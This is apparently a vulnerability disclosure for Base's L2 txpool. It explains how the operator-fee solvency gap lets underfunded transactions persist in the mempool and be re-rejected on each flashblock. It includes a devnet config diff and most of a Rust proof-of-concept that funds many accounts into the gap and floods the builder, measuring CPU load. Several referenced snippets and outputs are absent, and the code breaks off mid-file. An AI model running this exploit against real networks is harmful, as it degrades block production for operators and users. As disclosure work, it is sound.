Causing network processing nodes to process transactions from the mempool beyond set parameters
Description
Brief/Intro
When Isthmus operator fees are active, txpool admission and execution disagree about the sender balance required for the same non-deposit transaction. The txpool path only checks:
tx.cost + l1_data_fee
while execution later charges:
tx.cost + l1_data_fee + operator_fee
Any public sender can therefore choose a balance inside that solvency gap and submit a transaction that is accepted into the mempool, propagated, and picked up by the builder, but deterministically rejected during execution as LackOfFundForMaxFee.
In Base's flashblocks path this is not a one-shot rejection. The invalid transaction is only marked invalid in the current transaction iterator, while the next flashblock refreshes a new iterator from the same pool contents. The same bad transaction can therefore be reconsidered and rejected repeatedly.
Vulnerability Details
The txpool validator only adds the L1 data fee to the ordinary EIP-1559 max cost before deciding whether the sender can afford the transaction:
The helper used there excludes the operator fee and returns only the L1 data component:
Execution uses a stricter cost function. tx_cost_with_tx() delegates to tx_cost(), which adds the operator fee whenever Isthmus is active:
That stricter total is deducted before ordinary execution proceeds:
Concrete example from the verified local PoC:
attack tx gas_limit = 400000
attack tx max_fee_per_gas = 3003000000
l1_data_fee = 122
operator_fee = 1000000000000000
So:
This satisfies:
so the transaction is admitted by txpool but cannot pass execution solvency.
The repeated resource drain happens because flashblocks refreshes a new best-tx iterator on each flashblock:
When execution rejects the transaction, the builder only marks it invalid in the current iterator:
That invalidation is local to the active iterator:
So the next flashblock reconstructs the iterator from the pool and sees the same bad transaction again.
The pre-condition for this to happen is:
Isthmus or later rules are active, so operator fees are charged.
The sender submits a normal non-deposit transaction whose balance satisfies: tx.cost + l1_data_fee <= balance < tx.cost + l1_data_fee + operator_fee.
The transaction reaches the public txpool and builder path.
For meaningful amplification, the attacker uses many EOAs or repeats the pattern across many nonces/accounts.
This does not require malformed input, a compromised signer, a trusted-role mistake, or any non-default deployment assumption beyond public transaction submission.
Impact Details
invalid-but-admitted transactions enter and persist in the mempool;
builders repeatedly pull them into flashblock selection;
execution rejects them as underfunded only after builder work has already been spent;
the transactions remain Known and visible in txpool_content, so the work repeats.
That gives an attacker a repeatable CPU / builder-throughput degradation primitive plus pending-pool pollution. On the verified local runs:
128 attacker EOAs stayed Known, stayed in txpool_content, and produced 76 repeated 128 considered / 0 included / 128 rejected flashblock cycles with peak builder CPU 55.59%.
512 attacker EOAs stayed Known, stayed in txpool_content, and pushed the same builder to peak CPU 88.47%.
The resource effect scaled much more clearly in CPU than RAM on local hardware, which is consistent with a repeated selection-and-reject workload rather than a simple memory leak.
the live flashblocks path already logs invalid transactions at trace;
without this filter, the builder still shows rejection_reasons=["other"], but the explicit lack of funds reason is hidden.
Exact diff:
The E2E PoC driver
Files:
devnet/examples/h06_operator_fee_gap.rs
devnet/Cargo.toml
Cargo.lock
Why these changes exist:
the example is the actual E2E reproducer;
it computes live l1_data_fee and operator_fee from on-chain state;
it funds accounts into the exact solvency gap;
it sends the attack transactions;
it verifies that they remain Known, remain in txpool_content, and never get mined during the observation window;
it samples docker stats so the run records resource impact;
it cleans up the attack senders afterward.
Dependency wiring:
The actual PoC, put under base/devnet/examples/operator_fee_gap.rs:
Attack Cost and Recoverability
The attack is primarily capital-backed, not gas-burning.
The bad attack transactions themselves are not mined, so they do not burn their advertised gas, L1 data fee, or operator fee. In the verified PoC:
attack_txs_mined = 0
txpool_hash_hits = attack_txs_known
That means the principal seeded into attacker EOAs remains attacker-owned.
The economics break down into three parts:
Temporary locked capital
The attacker must lock enough balance in each EOA to satisfy txpool solvency. That principal is recoverable in principle because the attack txs are never included.
Unrecoverable setup / teardown fees
Any included funding, top-up, cancel, or sweep transaction still pays normal on-chain fees. Those fees are not recoverable.
Opportunity cost / operational friction
While the bad tx remains pending, the account's nonce is occupied. Immediate recovery therefore requires a same-nonce replacement transaction, not a cheaper later nonce.
Txpool explicitly supports same-nonce replacement when the replacement is not underpriced:
And the default replacement threshold for regular transactions is 10%:
So the attacker has two realistic recovery paths:
Passive recovery: wait for the bad tx to leave the pool naturally (restart, eviction, or operator action), then reuse the principal. In this path the per-round unrecoverable cost can be near zero if the attacker already controls pre-funded EOAs.
Active recovery: immediately replace each pending nonce-0 attack tx with a higher-priced same-nonce transaction and sweep funds back. In this path the recovery tx fees are unrecoverable.
Local PoC economics for the 128-sender run, using the intentionally large devnet operator_fee_constant = 1000000000000000:
seeded principal across attacker EOAs: 185753600000019200 wei (0.1857536000000192 ETH)
attack-tx fee burn: 0 wei because none of the attack txs were mined
this is 128 * (21000 * 3003000000 + operator_fee_constant), ignoring the tiny L1-data term
approximate unrecoverable immediate-recovery fees with the default 10% replacement bump: 136879270400000000 wei (0.1368792704 ETH)
approximate principal recoverable by immediate sweep after paying those recovery fees: 48874329600019200 wei (0.0488743296000192 ETH)
Tha main impact of this issue is still "causing network processing nodes to process mempool transactions beyond intended solvency parameters", but it can be used in an adversarial way to exhaust computational resources.
To run the PoC:
1
Start the single-sequencer devnet with a non-zero operator fee:
2
Wait until just devnet status shows the stack healthy.
3
Run the main E2E PoC:
4
Optional stronger scaling run:
The PoC driver:
reads the live fee scalars from L1BlockInfo;
computes validation_total and execution_total for each signed raw tx;
funds each random sender into the solvency gap;
submits all attack txs to the builder RPC;
polls:
base_transactionStatus
eth_getTransactionReceipt
txpool_content
docker stats base-builder
drops the attacker senders from the txpool at the end.
The following contains output in local test:
Representative output from the verified 128-sender run:
Per-block samples from that same run:
Txpool-side proof:
Flashblocks-side execution proof:
Flashblock summary showing repeated full rejection with zero inclusion:
That exact 128 considered / 0 included / 128 rejected pattern appeared 76 times during the reproduced run.
Representative output from the verified 512-sender run:
The strongest local CPU samples from that run were:
diff --git a/etc/docker/devnet-env b/etc/docker/devnet-env
index cb3c8d622..43784819e 100644
--- a/etc/docker/devnet-env
+++ b/etc/docker/devnet-env
@@ -153,6 +153,10 @@ L2_CHAIN_ID=84538453
# Optional: set to a non-negative block number to schedule Base V1 in devnet.
# Leave unset to avoid setting base.v1/osakaTime during genesis generation.
L2_BASE_V1_BLOCK=20
+# Optional: enable a non-zero operator fee in devnet for txpool/executor PoCs.
+# Defaults preserve the existing zero-fee devnet behavior.
+L2_OPERATOR_FEE_SCALAR=0
+L2_OPERATOR_FEE_CONSTANT=0
diff --git a/etc/scripts/devnet/setup-l2.sh b/etc/scripts/devnet/setup-l2.sh
index a1404d216..8fe403f55 100644
--- a/etc/scripts/devnet/setup-l2.sh
+++ b/etc/scripts/devnet/setup-l2.sh
@@ -8,16 +8,28 @@ L1_CHAIN_ID="${L1_CHAIN_ID:-1337}"
L2_DATA_DIR="${L2_DATA_DIR:-/data}"
TEMPLATE_DIR="${TEMPLATE_DIR:-/templates}"
L2_BASE_V1_BLOCK="${L2_BASE_V1_BLOCK:-}"
+L2_OPERATOR_FEE_SCALAR="${L2_OPERATOR_FEE_SCALAR:-0}"
+L2_OPERATOR_FEE_CONSTANT="${L2_OPERATOR_FEE_CONSTANT:-0}"
if [ -n "$L2_BASE_V1_BLOCK" ] && ! [[ "$L2_BASE_V1_BLOCK" =~ ^[0-9]+$ ]]; then
echo "ERROR: L2_BASE_V1_BLOCK must be a non-negative integer when set, got: $L2_BASE_V1_BLOCK"
exit 1
fi
+for var_name in L2_OPERATOR_FEE_SCALAR L2_OPERATOR_FEE_CONSTANT; do
+ value="${!var_name}"
+ if ! [[ "$value" =~ ^[0-9]+$ ]]; then
+ echo "ERROR: $var_name must be a non-negative integer, got: $value"
+ exit 1
+ fi
+done
+
echo "=== L2 Genesis Generator (Live Deployment) ==="
echo "L1 RPC URL: $L1_RPC_URL"
echo "L1 Chain ID: $L1_CHAIN_ID"
echo "L2 Chain ID: $L2_CHAIN_ID"
+echo "Operator fee scalar: $L2_OPERATOR_FEE_SCALAR"
+echo "Operator fee constant: $L2_OPERATOR_FEE_CONSTANT"
if [ -n "$L2_BASE_V1_BLOCK" ]; then
echo "Base V1 activation block: $L2_BASE_V1_BLOCK"
else
@@ -82,7 +94,7 @@ echo "Configuring intent.toml for devnet..."
L2_CHAIN_ID_HEX=$(printf "0x%064x" $L2_CHAIN_ID)
# Export variables for envsubst
-export L1_CHAIN_ID L2_CHAIN_ID_HEX DEPLOYER_ADDR SEQUENCER_ADDR BATCHER_ADDR PROPOSER_ADDR CHALLENGER_ADDR SEQ1_P2P_KEY SEQ2_P2P_KEY
+export L1_CHAIN_ID L2_CHAIN_ID_HEX DEPLOYER_ADDR SEQUENCER_ADDR BATCHER_ADDR PROPOSER_ADDR CHALLENGER_ADDR SEQ1_P2P_KEY SEQ2_P2P_KEY L2_OPERATOR_FEE_SCALAR L2_OPERATOR_FEE_CONSTANT
envsubst <"$TEMPLATE_DIR/l2-intent.toml.template" >"$INTENT_FILE"
//! End-to-end PoC for H-06: txpool admission can omit operator-fee solvency.
use std::{
collections::HashSet,
fs,
path::PathBuf,
process::Command,
time::{Duration, Instant},
};
use alloy_consensus::{SignableTransaction, Transaction};
use alloy_eips::eip2718::Encodable2718;
use alloy_genesis::Genesis;
use alloy_network::TransactionBuilder;
use alloy_primitives::{Address, Bytes, TxHash, U256};
use alloy_provider::{Provider, RootProvider};
use alloy_signer::SignerSync;
use alloy_signer_local::PrivateKeySigner;
use base_common_consensus::Predeploys;
use base_common_evm::{
BASE_FEE_SCALAR_OFFSET, BLOB_BASE_FEE_SCALAR_OFFSET, DA_FOOTPRINT_GAS_SCALAR_OFFSET,
ECOTONE_L1_BLOB_BASE_FEE_SLOT, ECOTONE_L1_FEE_SCALARS_SLOT, L1_BASE_FEE_SLOT, L1BlockInfo,
OPERATOR_FEE_CONSTANT_OFFSET, OPERATOR_FEE_SCALAR_OFFSET, OPERATOR_FEE_SCALARS_SLOT, OpSpecId,
};
use base_common_network::Base;
use base_common_rpc_types::BaseTransactionRequest;
use base_execution_chainspec::BaseChainSpec;
use eyre::{Context, ContextCompat, Result, bail, ensure};
use jsonrpsee::{
core::client::ClientT,
http_client::{HttpClient, HttpClientBuilder},
rpc_params,
};
use serde::{Deserialize, Serialize};
use serde_json::Value;
use tokio::time::sleep;
use url::Url;
const DEFAULT_RPC_URL: &str = "http://127.0.0.1:7545";
const DEFAULT_GENESIS_PATH: &str = ".devnet/l2/configs/genesis.json";
const DEFAULT_FUNDER_KEY: &str =
"0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";
const DEFAULT_RECIPIENT: &str = "0x000000000000000000000000000000000000dEaD";
const DEFAULT_SENDERS: usize = 128;
const DEFAULT_CALLDATA_BYTES: usize = 8192;
const DEFAULT_GAS_LIMIT: u64 = 400_000;
const DEFAULT_OBSERVE_BLOCKS: u64 = 4;
const DEFAULT_POLL_INTERVAL_MS: u64 = 1000;
const DEFAULT_OPERATOR_FEE_MARGIN_WEI: u64 = 250_000_000_000_000;
const DEFAULT_DOCKER_CONTAINER: &str = "base-builder";
const FUNDING_CHUNK_SIZE: usize = 12;
#[derive(Debug)]
struct Options {
rpc_url: Url,
genesis_path: PathBuf,
funder_key: String,
senders: usize,
call_data_bytes: usize,
gas_limit: u64,
observe_blocks: u64,
poll_interval: Duration,
cleanup: bool,
docker_container: Option<String>,
}
#[derive(Debug, Clone)]
struct SignedTxArtifact {
hash: TxHash,
raw: Bytes,
tx_cost: U256,
gas_limit: u64,
}
#[derive(Debug, Clone)]
struct AttackPlan {
signer: PrivateKeySigner,
artifact: SignedTxArtifact,
l1_data_fee: U256,
operator_fee: U256,
validation_total: U256,
execution_total: U256,
desired_balance: U256,
}
#[derive(Debug, Clone, Deserialize)]
struct StatusResponse {
status: String,
}
#[derive(Debug, Default, Clone)]
struct DockerStatsSample {
cpu_percent: Option<f64>,
mem_usage_bytes: Option<u64>,
cpu_raw: Option<String>,
mem_raw: Option<String>,
}
#[derive(Debug, Default, Clone)]
struct DockerStatsPeak {
cpu_percent: f64,
mem_usage_bytes: u64,
cpu_raw: Option<String>,
mem_raw: Option<String>,
}
#[derive(Debug, Serialize)]
struct RunSummary {
rpc_url: String,
senders: usize,
calldata_bytes: usize,
gas_limit: u64,
attack_txs_known: usize,
attack_txs_mined: usize,
txpool_hash_hits: usize,
total_seed_balance_wei: String,
total_attack_raw_bytes: usize,
total_operator_fee_wei: String,
total_l1_data_fee_wei: String,
first_hash: Option<String>,
peak_builder_cpu: Option<String>,
peak_builder_mem: Option<String>,
}
#[tokio::main]
async fn main() -> Result<()> {
let opts = parse_args()?;
let rpc_client = HttpClientBuilder::default()
.build(opts.rpc_url.as_str())
.wrap_err("failed to build JSON-RPC client")?;
let provider = RootProvider::<Base>::new_http(opts.rpc_url.clone());
let funder: PrivateKeySigner = opts.funder_key.parse().wrap_err("invalid funder key")?;
let recipient: Address = DEFAULT_RECIPIENT.parse().wrap_err("invalid recipient")?;
let chain_spec = load_chain_spec(&opts.genesis_path)?;
let chain_id = provider.get_chain_id().await.wrap_err("failed to fetch chain id")?;
let gas_price = provider.get_gas_price().await.wrap_err("failed to fetch gas price")?;
let max_priority_fee_per_gas = 1_000_000u128;
let max_fee_per_gas = gas_price.saturating_mul(3).max(2_000_000_000);
let attack_input = Bytes::from(vec![0x01; opts.call_data_bytes]);
println!("Using RPC: {}", opts.rpc_url);
println!("Funder: {:#x}", funder.address());
println!(
"Target builder container for stats: {}",
opts.docker_container.as_deref().unwrap_or("<disabled>")
);
println!(
"Attack shape: {} senders, {} calldata bytes, gas limit {}",
opts.senders, opts.call_data_bytes, opts.gas_limit
);
ensure_funder_balance(&provider, funder.address(), opts.senders, U256::from(10u64.pow(16)))
.await?;
let attackers: Vec<PrivateKeySigner> =
(0..opts.senders).map(|_| PrivateKeySigner::random()).collect();
println!("Preparing seed-funding batch...");
let mut plans = build_attack_plans(
&opts,
&rpc_client,
&chain_spec,
&attackers,
recipient,
chain_id,
max_fee_per_gas,
max_priority_fee_per_gas,
attack_input.clone(),
)
.await?;
let total_seed_balance =
plans.iter().fold(U256::ZERO, |sum, plan| sum.saturating_add(plan.desired_balance));
println!("Seed capital required: {} ETH", format_ether(total_seed_balance));
let funder_nonce = provider
.get_transaction_count(funder.address())
.pending()
.await
.wrap_err("failed to fetch funder pending nonce")?;
let funding_hashes = send_seed_funding(
&provider,
&funder,
chain_id,
max_fee_per_gas,
max_priority_fee_per_gas,
funder_nonce,
&plans,
)
.await?;
println!("Funding confirmed in {} seed txs.", funding_hashes.len());
println!("Funding confirmed. Rechecking exact solvency gap against latest L1 data...");
plans = build_attack_plans(
&opts,
&rpc_client,
&chain_spec,
&attackers,
recipient,
chain_id,
max_fee_per_gas,
max_priority_fee_per_gas,
attack_input,
)
.await?;
let funder_topup_nonce = provider
.get_transaction_count(funder.address())
.pending()
.await
.wrap_err("failed to fetch funder nonce before top-up")?;
let topup_hashes = send_topups_if_needed(
&provider,
&funder,
chain_id,
max_fee_per_gas,
max_priority_fee_per_gas,
funder_topup_nonce,
&plans,
)
.await?;
if !topup_hashes.is_empty() {
println!("Applied {} funding top-ups after L1 fee drift.", topup_hashes.len());
}
plans = build_attack_plans(
&opts,
&rpc_client,
&chain_spec,
&attackers,
recipient,
chain_id,
max_fee_per_gas,
max_priority_fee_per_gas,
Bytes::from(vec![0x01; opts.call_data_bytes]),
)
.await?;
ensure_gap_balances(&provider, &plans).await?;
let baseline_stats = sample_docker_stats(opts.docker_container.as_deref()).await;
if let Some(sample) = &baseline_stats {
println!(
"Builder baseline: cpu={} mem={}",
sample.cpu_raw.as_deref().unwrap_or("?"),
sample.mem_raw.as_deref().unwrap_or("?"),
);
}
println!("Submitting attack transactions...");
let attack_hashes = send_attack_batch(&provider, &plans).await?;
let attack_hash_set: HashSet<String> =
attack_hashes.iter().map(|hash| format!("{hash:#x}")).collect();
let start_block = latest_block_number(&rpc_client).await?;
let mut peak = DockerStatsPeak::default();
let deadline_block = start_block + opts.observe_blocks;
let mut last_seen_block = start_block;
while last_seen_block < deadline_block {
let current_block = latest_block_number(&rpc_client).await?;
if current_block > last_seen_block {
last_seen_block = current_block;
}
let known = count_known_statuses(&rpc_client, &attack_hashes).await?;
let mined = count_mined_receipts(&provider, &attack_hashes).await?;
let txpool_hits = count_hashes_in_txpool(&rpc_client, &attack_hash_set).await?;
if let Some(sample) = sample_docker_stats(opts.docker_container.as_deref()).await {
update_peak(&mut peak, &sample);
println!(
"block={} known={}/{} mined={} txpool_hits={} cpu={} mem={}",
current_block,
known,
attack_hashes.len(),
mined,
txpool_hits,
sample.cpu_raw.as_deref().unwrap_or("?"),
sample.mem_raw.as_deref().unwrap_or("?"),
);
} else {
println!(
"block={} known={}/{} mined={} txpool_hits={}",
current_block,
known,
attack_hashes.len(),
mined,
txpool_hits,
);
}
sleep(opts.poll_interval).await;
}
let final_known = count_known_statuses(&rpc_client, &attack_hashes).await?;
let final_mined = count_mined_receipts(&provider, &attack_hashes).await?;
let final_txpool_hits = count_hashes_in_txpool(&rpc_client, &attack_hash_set).await?;
ensure!(
final_known == attack_hashes.len(),
"expected all attack txs to stay known in txpool, only {final_known}/{} remained",
attack_hashes.len(),
);
ensure!(
final_mined == 0,
"expected attack txs to remain unmined, but {final_mined} were included"
);
ensure!(
final_txpool_hits == attack_hashes.len(),
"expected all attack txs to remain visible in txpool_content, only {final_txpool_hits}/{} were present",
attack_hashes.len(),
);
let summary = RunSummary {
rpc_url: opts.rpc_url.to_string(),
senders: opts.senders,
calldata_bytes: opts.call_data_bytes,
gas_limit: opts.gas_limit,
attack_txs_known: final_known,
attack_txs_mined: final_mined,
txpool_hash_hits: final_txpool_hits,
total_seed_balance_wei: total_seed_balance.to_string(),
total_attack_raw_bytes: plans.iter().map(|plan| plan.artifact.raw.len()).sum(),
total_operator_fee_wei: plans
.iter()
.fold(U256::ZERO, |sum, plan| sum.saturating_add(plan.operator_fee))
.to_string(),
total_l1_data_fee_wei: plans
.iter()
.fold(U256::ZERO, |sum, plan| sum.saturating_add(plan.l1_data_fee))
.to_string(),
first_hash: attack_hashes.first().map(|hash| format!("{hash:#x}")),
peak_builder_cpu: peak.cpu_raw.clone(),
peak_builder_mem: peak.mem_raw.clone(),
};
println!();
println!("Summary:");
println!("{}", serde_json::to_string_pretty(&summary)?);
if opts.cleanup {
println!("Dropping attack senders from the builder txpool...");
cleanup_attack_senders(&rpc_client, &plans).await?;
}
Ok(())
}
fn parse_args() -> Result<Options> {
let mut opts = Options {
rpc_url: Url::parse(DEFAULT_RPC_URL)?,
genesis_path: PathBuf::from(DEFAULT_GENESIS_PATH),
funder_key: DEFAULT_FUNDER_KEY.to_string(),
senders: DEFAULT_SENDERS,
call_data_bytes: DEFAULT_CALLDATA_BYTES,
gas_limit: DEFAULT_GAS_LIMIT,
observe_blocks: DEFAULT_OBSERVE_BLOCKS,
poll_interval: Duration::from_millis(DEFAULT_POLL_INTERVAL_MS),
cleanup: true,
docker_container: Some(DEFAULT_DOCKER_CONTAINER.to_string()),
};
let mut args = std::env::args().skip(1);
while let Some(arg) = args.next() {
match arg.as_str() {
"--rpc-url" => {
opts.rpc_url = Url::parse(&next_arg(&mut args, "--rpc-url")?)?;
}
"--genesis-path" => {
opts.genesis_path = PathBuf::from(next_arg(&mut args, "--genesis-path")?);
}
"--funder-key" => {
opts.funder_key = next_arg(&mut args, "--funder-key")?;
}
"--senders" => {
opts.senders = next_arg(&mut args, "--senders")?.parse()?;
}
"--call-data-bytes" => {
opts.call_data_bytes = next_arg(&mut args, "--call-data-bytes")?.parse()?;
}
"--gas-limit" => {
opts.gas_limit = next_arg(&mut args, "--gas-limit")?.parse()?;
}
"--observe-blocks" => {
opts.observe_blocks = next_arg(&mut args, "--observe-blocks")?.parse()?;
}
"--poll-interval-ms" => {
opts.poll_interval =
Duration::from_millis(next_arg(&mut args, "--poll-interval-ms")?.parse()?);
}
"--docker-container" => {
let value = next_arg(&mut args, "--docker-container")?;
opts.docker_container =
if value.eq_ignore_ascii_case("none") { None } else { Some(value) };
}
"--no-cleanup" => {
opts.cleanup = false;
}
"--help" | "-h" => {
print_usage();
std::process::exit(0);
}
other => bail!("unknown argument: {other}"),
}
}
Ok(opts)
}
fn print_usage() {
println!(
"Usage: cargo run -p devnet --example h06_operator_fee_gap -- [options]
Options:
--rpc-url URL Builder RPC URL (default: {DEFAULT_RPC_URL})
--genesis-path PATH L2 genesis path (default: {DEFAULT_GENESIS_PATH})
--funder-key HEX Funder private key (default: Anvil account 0)
--senders N Number of attack EOAs (default: {DEFAULT_SENDERS})
--call-data-bytes N Attack calldata length in bytes (default: {DEFAULT_CALLDATA_BYTES})
--gas-limit N Attack gas limit (default: {DEFAULT_GAS_LIMIT})
--observe-blocks N Number of L2 blocks to observe after submission (default: {DEFAULT_OBSERVE_BLOCKS})
--poll-interval-ms N Observation poll interval (default: {DEFAULT_POLL_INTERVAL_MS})
--docker-container NAME Sample docker stats for this container, or 'none' (default: {DEFAULT_DOCKER_CONTAINER})
--no-cleanup Leave the attack txs in the txpool after observation
--help Show this message"
);
}
fn next_arg(args: &mut impl Iterator<Item = String>, flag: &str) -> Result<String> {
args.next().with_context(|| format!("missing value for {flag}"))
}
fn load_chain_spec(path: &PathBuf) -> Result<BaseChainSpec> {
let genesis_json =
fs::read(path).with_context(|| format!("failed to read {}", path.display()))?;
let genesis: Genesis = serde_json::from_slice(&genesis_json)?;
Ok(BaseChainSpec::from_genesis(genesis))
}
async fn ensure_funder_balance(
provider: &RootProvider<Base>,
address: Address,
senders: usize,
min_per_sender: U256,
) -> Result<()> {
let needed = min_per_sender.saturating_mul(U256::from(senders));
let balance = provider.get_balance(address).await?;
ensure!(
balance >= needed,
"funder balance {} is below required seed capital {}",
format_ether(balance),
format_ether(needed),
);
Ok(())
}
async fn build_attack_plans(
opts: &Options,
rpc_client: &HttpClient,
chain_spec: &BaseChainSpec,
attackers: &[PrivateKeySigner],
recipient: Address,
chain_id: u64,
max_fee_per_gas: u128,
max_priority_fee_per_gas: u128,
input: Bytes,
) -> Result<Vec<AttackPlan>> {
let latest_timestamp = latest_block_timestamp(rpc_client).await?;
let spec_id = OpSpecId::from_timestamp(chain_spec, latest_timestamp);
ensure!(spec_id.is_enabled_in(OpSpecId::ISTHMUS), "operator fee is not active at latest block");
let l1_block_info = fetch_l1_block_info(rpc_client).await?;
let mut plans = Vec::with_capacity(attackers.len());
for signer in attackers {
let artifact = sign_eip1559(
signer,
chain_id,
0,
recipient,
U256::ZERO,
opts.gas_limit,
max_fee_per_gas,
max_priority_fee_per_gas,
input.clone(),
)?;
let mut fee_info = l1_block_info.clone();
let l1_data_fee = fee_info.calculate_tx_l1_cost(&artifact.raw, spec_id);
let operator_fee =
fee_info.operator_fee_charge(&artifact.raw, U256::from(artifact.gas_limit), spec_id);
ensure!(!operator_fee.is_zero(), "operator fee is zero; PoC condition not met");
let validation_total = artifact.tx_cost.saturating_add(l1_data_fee);
let execution_total = validation_total.saturating_add(operator_fee);
let margin = operator_fee
.checked_sub(U256::from(1u64))
.unwrap_or(U256::ZERO)
.min(U256::from(DEFAULT_OPERATOR_FEE_MARGIN_WEI));
let desired_balance = validation_total.saturating_add(margin);
ensure!(
desired_balance < execution_total,
"desired balance unexpectedly reaches executor solvency",
);
plans.push(AttackPlan {
signer: signer.clone(),
artifact,
l1_data_fee,
operator_fee,
validation_total,
execution_total,
desired_balance,
});
}
Ok(plans)
}
async fn send_seed_funding(
provider: &RootProvider<Base>,
funder: &PrivateKeySigner,
chain_id: u64,
max_fee_per_gas: u128,
max_priority_fee_per_gas: u128,
start_nonce: u64,
plans: &[AttackPlan],
) -> Result<Vec<TxHash>> {
let mut hashes = Vec::with_capacity(plans.len());
let mut nonce = start_nonce;
for chunk in plans.chunks(FUNDING_CHUNK_SIZE) {
let mut chunk_hashes = Vec::with_capacity(chunk.len());
for plan in chunk {
let raw = sign_eip1559(
funder,
chain_id,
nonce,
plan.signer.address(),
plan.desired_balance,
21_000,
max_fee_per_gas,
max_priority_fee_per_gas,
Bytes::new(),
)?;
nonce += 1;
let pending = provider.send_raw_transaction(&raw.raw).await?;
let hash = *pending.tx_hash();
chunk_hashes.push(hash);
hashes.push(hash);
}
wait_for_receipts(provider, &chunk_hashes, Duration::from_secs(90)).await?;
}
Ok(hashes)
}
async fn send_topups_if_needed(
provider: &RootProvider<Base>,
funder: &PrivateKeySigner,
chain_id: u64,
max_fee_per_gas: u128,
max_priority_fee_per_gas: u128,
start_nonce: u64,
plans: &[AttackPlan],
) -> Result<Vec<TxHash>> {
let mut hashes = Vec::new();
let mut nonce = start_nonce;
let mut pending_chunk = Vec::with_capacity(FUNDING_CHUNK_SIZE);
for plan in plans {
let current_balance = provider.get_balance(plan.signer.address()).await?;
if current_balance >= plan.desired_balance {
continue;
}
let delta = plan.desired_balance.saturating_sub(current_balance);
let raw = sign_eip1559(
funder,
chain_id,
nonce,
plan.signer.address(),
delta,
21_000,
max_fee_per_gas,
max_priority_fee_per_gas,
Bytes::new(),
)?;
nonce += 1;
let pending = provider.send_raw_transaction(&raw.raw).await?;
let hash = *pending.tx_hash();
pending_chunk.push(hash);
hashes.push(hash);
if pending_chunk.len() == FUNDING_CHUNK_SIZE {
wait_for_receipts(provider, &pending_chunk, Duration::from_secs(90)).await?;
pending_chunk.clear();
}
}
if !pending_chunk.is_empty() {
wait_for_receipts(provider, &pending_chunk, Duration::from_secs(90)).await?;
}
Ok(hashes)
}
async fn ensure_gap_balances(provider: &RootProvider<Base>, plans: &[AttackPlan]) -> Result<()> {
for plan in plans {
let balance = provider.get_balance(plan.signer.address()).await?;
ensure!(
balance >= plan.validation_total,
"sender {:#x} balance {} dropped below txpool validation total {}",
plan.signer.address(),
format_ether(balance),
format_ether(plan.validation_total),
);
ensure!(
balance < plan.execution_total,
"sender {:#x} balance {} reached executor solvency {}",
plan.signer.address(),
format_ether(balance),
format_ether(plan.execution_total),
);
}
Ok(())
}
async fn send_attack_batch(
provider: &RootProvider<Base>,
plans: &[AttackPlan],
) -> Result<Vec<TxHash>> {
let mut hashes = Vec::with_capacity(plans.len());
for plan in plans {
let pending = provider.send_raw_transaction(&plan.artifact.raw).await?;
let hash = *pending.tx_hash();
ensure!(
hash == plan.artifact.hash,
"raw submission hash mismatch: expected {:#x}, got {:#x}",
plan.artifact.hash,
hash,
);
hashes.push(hash);
}
Ok(hashes)
}
async fn wait_for_receipts(
provider: &RootProvider<Base>,
hashes: &[TxHash],
timeout: Duration,
) -> Result<()> {
let deadline = Instant::now() + timeout;
let mut remaining: HashSet<TxHash> = hashes.iter().copied().collect();
while !remaining.is_empty() {
ensure!(Instant::now() < deadline, "timed out waiting for receipts");
let pending: Vec<TxHash> = remaining.iter().copied().collect();
for hash in pending {
if provider.get_transaction_receipt(hash).await?.is_some() {
remaining.remove(&hash);
}
}
if !remaining.is_empty() {
sleep(Duration::from_millis(500)).await;
}
}
Ok(())
}
async fn latest_block_timestamp(rpc_client: &HttpClient) -> Result<u64> {
let block: Value =
ClientT::request(rpc_client, "eth_getBlockByNumber", rpc_params!["latest", false]).await?;
let timestamp = block
.get("timestamp")
.and_then(Value::as_str)
.ok_or_else(|| eyre::eyre!("latest block missing timestamp"))?;
parse_u64_quantity(timestamp)
}
async fn latest_block_number(rpc_client: &HttpClient) -> Result<u64> {
let block_number: String =
ClientT::request(rpc_client, "eth_blockNumber", rpc_params![]).await?;
parse_u64_quantity(&block_number)
}
async fn fetch_l1_block_info(rpc_client: &HttpClient) -> Result<L1BlockInfo> {
let address = format!("{:#x}", Predeploys::L1_BLOCK_INFO);
let l1_base_fee = read_storage_u256(rpc_client, &address, L1_BASE_FEE_SLOT).await?;
let ecotone_scalars =
read_storage_bytes(rpc_client, &address, ECOTONE_L1_FEE_SCALARS_SLOT).await?;
let l1_blob_base_fee =
read_storage_u256(rpc_client, &address, ECOTONE_L1_BLOB_BASE_FEE_SLOT).await?;
let operator_fee_scalars =
read_storage_bytes(rpc_client, &address, OPERATOR_FEE_SCALARS_SLOT).await?;
let l1_base_fee_scalar =
U256::from_be_slice(&ecotone_scalars[BASE_FEE_SCALAR_OFFSET..BASE_FEE_SCALAR_OFFSET + 4]);
let l1_blob_base_fee_scalar = U256::from_be_slice(
&ecotone_scalars[BLOB_BASE_FEE_SCALAR_OFFSET..BLOB_BASE_FEE_SCALAR_OFFSET + 4],
);
let operator_fee_scalar = U256::from_be_slice(
&operator_fee_scalars[OPERATOR_FEE_SCALAR_OFFSET..OPERATOR_FEE_SCALAR_OFFSET + 4],
);
let operator_fee_constant = U256::from_be_slice(
&operator_fee_scalars[OPERATOR_FEE_CONSTANT_OFFSET..OPERATOR_FEE_CONSTANT_OFFSET + 8],
);
let da_footprint_gas_scalar = Some(u16::from_be_bytes([
operator_fee_scalars[DA_FOOTPRINT_GAS_SCALAR_OFFSET],
operator_fee_scalars[DA_FOOTPRINT_GAS_SCALAR_OFFSET + 1],
]));
Ok(L1BlockInfo {
l2_block: None,
l1_base_fee,
l1_fee_overhead: None,
l1_base_fee_scalar,
l1_blob_base_fee: Some(l1_blob_base_fee),
l1_blob_base_fee_scalar: Some(l1_blob_base_fee_scalar),
operator_fee_scalar: Some(operator_fee_scalar),
operator_fee_constant: Some(operator_fee_constant),
da_footprint_gas_scalar,
empty_ecotone_scalars: false,
tx_l1_cost: None,
})
}
async fn read_storage_u256(rpc_client: &HttpClient, address: &str, slot: U256) -> Result<U256> {
let value = read_storage_value(rpc_client, address, slot).await?;
parse_u256_quantity(&value)
}
async fn read_storage_bytes(
rpc_client: &HttpClient,
address: &str,
slot: U256,
) -> Result<[u8; 32]> {
let value = read_storage_value(rpc_client, address, slot).await?;
parse_bytes32(&value)
}
async fn read_storage_value(rpc_client: &HttpClient, address: &str, slot: U256) -> Result<String> {
let slot_hex = format!("0x{slot:064x}");
ClientT::request(rpc_client, "eth_getStorageAt", rpc_params![address, slot_hex, "latest"])
.await
.wrap_err("eth_getStorageAt failed")
}
fn sign_eip1559(
signer: &PrivateKeySigner,
